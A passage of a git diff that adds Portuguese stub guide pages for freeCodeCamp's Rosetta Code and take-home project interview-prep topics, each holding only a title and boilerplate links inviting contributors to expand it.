+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/s-expressions/index.md
@@ -0,0 +1,9 @@
+---
+title: S-Expressions
+localeTitle: Expressões S
+---
+## Expressões S
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/s-expressions/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/sailors-coconuts-and-a-monkey-problem/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/sailors-coconuts-and-a-monkey-problem/index.md
new file mode 100644
index 0000000000..508a581c8e
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/sailors-coconuts-and-a-monkey-problem/index.md
@@ -0,0 +1,9 @@
+---
+title: Sailors, coconuts and a monkey problem
+localeTitle: Marinheiros, cocos e um problema de macaco
+---
+## Marinheiros, cocos e um problema de macaco
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/sailors-coconuts-and-a-monkey-problem/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/sedols/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/sedols/index.md
new file mode 100644
index 0000000000..0b799827b8
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/sedols/index.md
@@ -0,0 +1,9 @@
+---
+title: SEDOLs
+localeTitle: SEDOLs
+---
+## SEDOLs
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/sedols/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/taxicab-numbers/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/taxicab-numbers/index.md
new file mode 100644
index 0000000000..1e110114c5
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/taxicab-numbers/index.md
@@ -0,0 +1,9 @@
+---
+title: Taxicab numbers
+localeTitle: Números de Taxicab
+---
+## Números de Taxicab
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/taxicab-numbers/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/tokenize-a-string-with-escaping/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/tokenize-a-string-with-escaping/index.md
new file mode 100644
index 0000000000..d3eebb77c8
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/tokenize-a-string-with-escaping/index.md
@@ -0,0 +1,9 @@
+---
+title: Tokenize a string with escaping
+localeTitle: Tokenize uma string com escape
+---
+## Tokenize uma string com escape
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/tokenize-a-string-with-escaping/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/top-rank-per-group/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/top-rank-per-group/index.md
new file mode 100644
index 0000000000..998d298399
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/top-rank-per-group/index.md
@@ -0,0 +1,9 @@
+---
+title: Top rank per group
+localeTitle: Melhor classificação por grupo
+---
+## Melhor classificação por grupo
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/top-rank-per-group/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/topological-sort/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/topological-sort/index.md
new file mode 100644
index 0000000000..c11f724e01
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/topological-sort/index.md
@@ -0,0 +1,9 @@
+---
+title: Topological sort
+localeTitle: Tipo topológico
+---
+## Tipo topológico
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/topological-sort/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/towers-of-hanoi/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/towers-of-hanoi/index.md
new file mode 100644
index 0000000000..8b04b27e36
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/towers-of-hanoi/index.md
@@ -0,0 +1,9 @@
+---
+title: Towers of Hanoi
+localeTitle: Torres de hanoi
+---
+## Torres de hanoi
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/towers-of-hanoi/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/vector-cross-product/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/vector-cross-product/index.md
new file mode 100644
index 0000000000..b835472935
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/vector-cross-product/index.md
@@ -0,0 +1,9 @@
+---
+title: Vector cross product
+localeTitle: Produto vetorial cruzado
+---
+## Produto vetorial cruzado
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/vector-cross-product/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/vector-dot-product/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/vector-dot-product/index.md
new file mode 100644
index 0000000000..5d243f3b45
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/vector-dot-product/index.md
@@ -0,0 +1,9 @@
+---
+title: Vector dot product
+localeTitle: Produto de ponto de vetor
+---
+## Produto de ponto de vetor
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/vector-dot-product/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/word-wrap/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/word-wrap/index.md
new file mode 100644
index 0000000000..41d1c260f9
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/word-wrap/index.md
@@ -0,0 +1,9 @@
+---
+title: Word wrap
+localeTitle: Quebra de linha
+---
+## Quebra de linha
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/word-wrap/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/y-combinator/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/y-combinator/index.md
new file mode 100644
index 0000000000..f509b454b1
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/y-combinator/index.md
@@ -0,0 +1,9 @@
+---
+title: Y combinator
+localeTitle: E combinador
+---
+## Combinador Y
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/y-combinator/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/zeckendorf-number-representation/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/zeckendorf-number-representation/index.md
new file mode 100644
index 0000000000..7e5f538bb3
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/zeckendorf-number-representation/index.md
@@ -0,0 +1,9 @@
+---
+title: Zeckendorf number representation
+localeTitle: Assinale a representação do número da aldeia
+---
+## Representação do número Zeckendorf
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/zeckendorf-number-representation/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/zhang-suen-thinning-algorithm/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/zhang-suen-thinning-algorithm/index.md
new file mode 100644
index 0000000000..97d3303958
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/zhang-suen-thinning-algorithm/index.md
@@ -0,0 +1,9 @@
+---
+title: Zhang-Suen thinning algorithm
+localeTitle: Algoritmo de desbaste de Zhang-Suen
+---
+## Algoritmo de desbaste de Zhang-Suen
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/zhang-suen-thinning-algorithm/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/zig-zag-matrix/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/zig-zag-matrix/index.md
new file mode 100644
index 0000000000..0cc6565be1
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/zig-zag-matrix/index.md
@@ -0,0 +1,9 @@
+---
+title: Zig-zag matrix
+localeTitle: Matriz zig-zag
+---
+## Matriz zig-zag
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/zig-zag-matrix/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/take-home-projects/build-a-camper-leaderboard/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/take-home-projects/build-a-camper-leaderboard/index.md
new file mode 100644
index 0000000000..0c86ae1333
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/take-home-projects/build-a-camper-leaderboard/index.md
@@ -0,0 +1,9 @@
+---
+title: Build a Camper Leaderboard
+localeTitle: Construa um placar de campista
+---
+## Construa um placar de campista
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/take-home-projects/build-a-camper-leaderboard/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/take-home-projects/build-a-light-bright-app/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/take-home-projects/build-a-light-bright-app/index.md
new file mode 100644
index 0000000000..71178b0541
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/take-home-projects/build-a-light-bright-app/index.md
@@ -0,0 +1,9 @@
+---
+title: Build a Light-Bright App
+localeTitle: Construa um aplicativo leve e brilhante
+---
+## Construa um aplicativo leve e brilhante
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/take-home-projects/build-a-light-bright-app/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/take-home-projects/build-a-nightlife-coordination-app/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/take-home-projects/build-a-nightlife-coordination-app/index.md
new file mode 100644
index 0000000000..f4d9225c35
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/take-home-projects/build-a-nightlife-coordination-app/index.md
@@ -0,0 +1,9 @@
+---
+title: Build a Nightlife Coordination App
+localeTitle: Construa um aplicativo de coordenação de vida noturna
+---
+## Construa um aplicativo de coordenação de vida noturna
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/take-home-projects/build-a-nightlife-coordination-app/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/take-home-projects/build-a-pinterest-clone/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/take-home-projects/build-a-pinterest-clone/index.md
new file mode 100644
index 0000000000..d1c4064b92
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/take-home-projects/build-a-pinterest-clone/index.md
@@ -0,0 +1,9 @@
+---
+title: Build a Pinterest Clone
+localeTitle: Construa um clone do Pinterest
+---
+## Construa um clone do Pinterest
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/take-home-projects/build-a-pinterest-clone/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/take-home-projects/build-a-pong-game/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/take-home-projects/build-a-pong-game/index.md
new file mode 100644
index 0000000000..a1f59666de
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/take-home-projects/build-a-pong-game/index.md
@@ -0,0 +1,9 @@
+---
+title: Build a Pong Game
+localeTitle: Construa um jogo de Pong
+---
+## Construa um jogo de Pong
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/take-home-projects/build-a-pong-game/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/take-home-projects/build-a-recipe-box/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/take-home-projects/build-a-recipe-box/index.md
new file mode 100644
index 0000000000..7137de9d4a
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/take-home-projects/build-a-recipe-box/index.md
@@ -0,0 +1,9 @@
+---
+title: Build a Recipe Box
+localeTitle: Construa uma caixa de receita
+---
+## Construa uma caixa de receita
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/take-home-projects/build-a-recipe-box/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/take-home-projects/build-a-roguelike-dungeon-crawler-game/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/take-home-projects/build-a-roguelike-dungeon-crawler-game/index.md
new file mode 100644
index 0000000000..177e4b53d4
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/take-home-projects/build-a-roguelike-dungeon-crawler-game/index.md
@@ -0,0 +1,9 @@
+---
+title: Build a Roguelike Dungeon Crawler Game
+localeTitle: Construir um jogo Crawler Dungeon Roguelike
+---
+## Construir um jogo Crawler Dungeon Roguelike
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/take-home-projects/build-a-roguelike-dungeon-crawler-game/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/take-home-projects/build-a-simon-game/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/take-home-projects/build-a-simon-game/index.md
new file mode 100644
index 0000000000..c9d0084bcc
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/take-home-projects/build-a-simon-game/index.md
@@ -0,0 +1,9 @@
+---
+title: Build a Simon Game
+localeTitle: Construa um jogo de Simon
+---
+## Construa um jogo de Simon
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/take-home-projects/build-a-simon-game/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/take-home-projects/build-a-tic-tac-toe-game/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/take-home-projects/build-a-tic-tac-toe-game/index.md
new file mode 100644
index 0000000000..5fd1c77a80
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/take-home-projects/build-a-tic-tac-toe-game/index.md
@@ -0,0 +1,9 @@
+---
+title: Build a Tic Tac Toe Game
+localeTitle: Construa um jogo Tic Tac Toe
+---
+## Construa um jogo Tic Tac Toe
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/take-home-projects/build-a-tic-tac-toe-game/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/take-home-projects/build-a-voting-app/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/take-home-projects/build-a-voting-app/index.md
new file mode 100644
index 0000000000..ad74e54cc9
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/take-home-projects/build-a-voting-app/index.md
@@ -0,0 +1,9 @@
+---
+title: Build a Voting App
+localeTitle: Construa um aplicativo de votação
+---
+## Construa um aplicativo de votação
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/take-home-projects/build-a-voting-app/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/take-home-projects/build-a-wikipedia-viewer/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/take-home-projects/build-a-wikipedia-viewer/index.md
new file mode 100644
index 0000000000..ddd40390c1
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/take-home-projects/build-a-wikipedia-viewer/index.md
@@ -0,0 +1,9 @@
+---
+title: Build a Wikipedia Viewer
+localeTitle: Construa um visualizador da Wikipedia
+---
+## Construa um visualizador da Wikipedia
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/take-home-projects/build-a-wikipedia-viewer/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/take-home-projects/build-an-image-search-abstraction-layer/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/take-home-projects/build-an-image-search-abstraction-layer/index.md
new file mode 100644
index 0000000000..ed3c540bac
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/take-home-projects/build-an-image-search-abstraction-layer/index.md
@@ -0,0 +1,9 @@
+---
+title: Build an Image Search Abstraction Layer
+localeTitle: Criar uma camada de abstração de pesquisa de imagens
+---
+## Criar uma camada de abstração de pesquisa de imagens
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/take-home-projects/build-an-image-search-abstraction-layer/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/take-home-projects/build-the-game-of-life/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/take-home-projects/build-the-game-of-life/index.md
new file mode 100644
index 0000000000..78aa607d63
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/take-home-projects/build-the-game-of-life/index.md
@@ -0,0 +1,9 @@
+---
+title: Build the Game of Life
+localeTitle: Construa o Jogo da Vida
+---
+## Construa o Jogo da Vida
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/take-home-projects/build-the-game-of-life/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/take-home-projects/chart-the-stock-market/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/take-home-projects/chart-the-stock-market/index.md
new file mode 100644
index 0000000000..0c2b1f5cdd
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/take-home-projects/chart-the-stock-market/index.md
@@ -0,0 +1,9 @@
+---
+title: Chart the Stock Market
+localeTitle: Gráfico do mercado de ações
+---
+## Gráfico do mercado de ações
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/take-home-projects/chart-the-stock-market/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/take-home-projects/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/take-home-projects/index.md
new file mode 100644
index 0000000000..f2bcd39ed1
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/take-home-projects/index.md
@@ -0,0 +1,11 @@
+---
+title: Take Home Projects
+localeTitle: Take Home Projects
+---
+## Take Home Projects
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/take-home-projects/manage-a-book-trading-club/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/take-home-projects/manage-a-book-trading-club/index.md
new file mode 100644
index 0000000000..c530bdf568
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/take-home-projects/manage-a-book-trading-club/index.md
@@ -0,0 +1,9 @@
+---
+title: Manage a Book Trading Club
+localeTitle: Gerenciar um Clube de Negociação de Livros
+---
+## Gerenciar um Clube de Negociação de Livros
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/take-home-projects/manage-a-book-trading-club/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/take-home-projects/map-data-across-the-globe/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/take-home-projects/map-data-across-the-globe/index.md
new file mode 100644
index 0000000000..49e781c002
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/take-home-projects/map-data-across-the-globe/index.md
@@ -0,0 +1,9 @@
+---
+title: Map Data Across the Globe
+localeTitle: Dados de mapa em todo o mundo
+---
+## Dados de mapa em todo o mundo
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/take-home-projects/map-data-across-the-globe/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/take-home-projects/p2p-video-chat-application/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/take-home-projects/p2p-video-chat-application/index.md
new file mode 100644
index 0000000000..6d9b3d1b54
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/take-home-projects/p2p-video-chat-application/index.md
@@ -0,0 +1,9 @@
+---
+title: P2P Video Chat Application
+localeTitle: P2P Video Chat Application
+---
+## P2P Video Chat Application
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/take-home-projects/p2p-video-chat-application/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/take-home-projects/show-national-contiguity-with-a-force-directed-graph/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/take-home-projects/show-national-contiguity-with-a-force-directed-graph/index.md
new file mode 100644
index 0000000000..5cf33e7d18
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/take-home-projects/show-national-contiguity-with-a-force-directed-graph/index.md
@@ -0,0 +1,9 @@
+---
+title: Show National Contiguity with a Force Directed Graph
+localeTitle: Mostrar Contigüidade Nacional com um Gráfico de Força Direcionada
+---
+## Mostrar Contigüidade Nacional com um Gráfico de Força Direcionada
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/take-home-projects/show-national-contiguity-with-a-force-directed-graph/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/take-home-projects/show-the-local-weather/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/take-home-projects/show-the-local-weather/index.md
new file mode 100644
index 0000000000..8ea3653c47
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/take-home-projects/show-the-local-weather/index.md
@@ -0,0 +1,9 @@
+---
+title: Show the Local Weather
+localeTitle: Mostrar o clima local
+---
+## Mostrar o clima local
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/take-home-projects/show-the-local-weather/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/take-home-projects/use-the-twitch-json-api/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/take-home-projects/use-the-twitch-json-api/index.md
new file mode 100644
index 0000000000..8113549af0
--- /dev/null
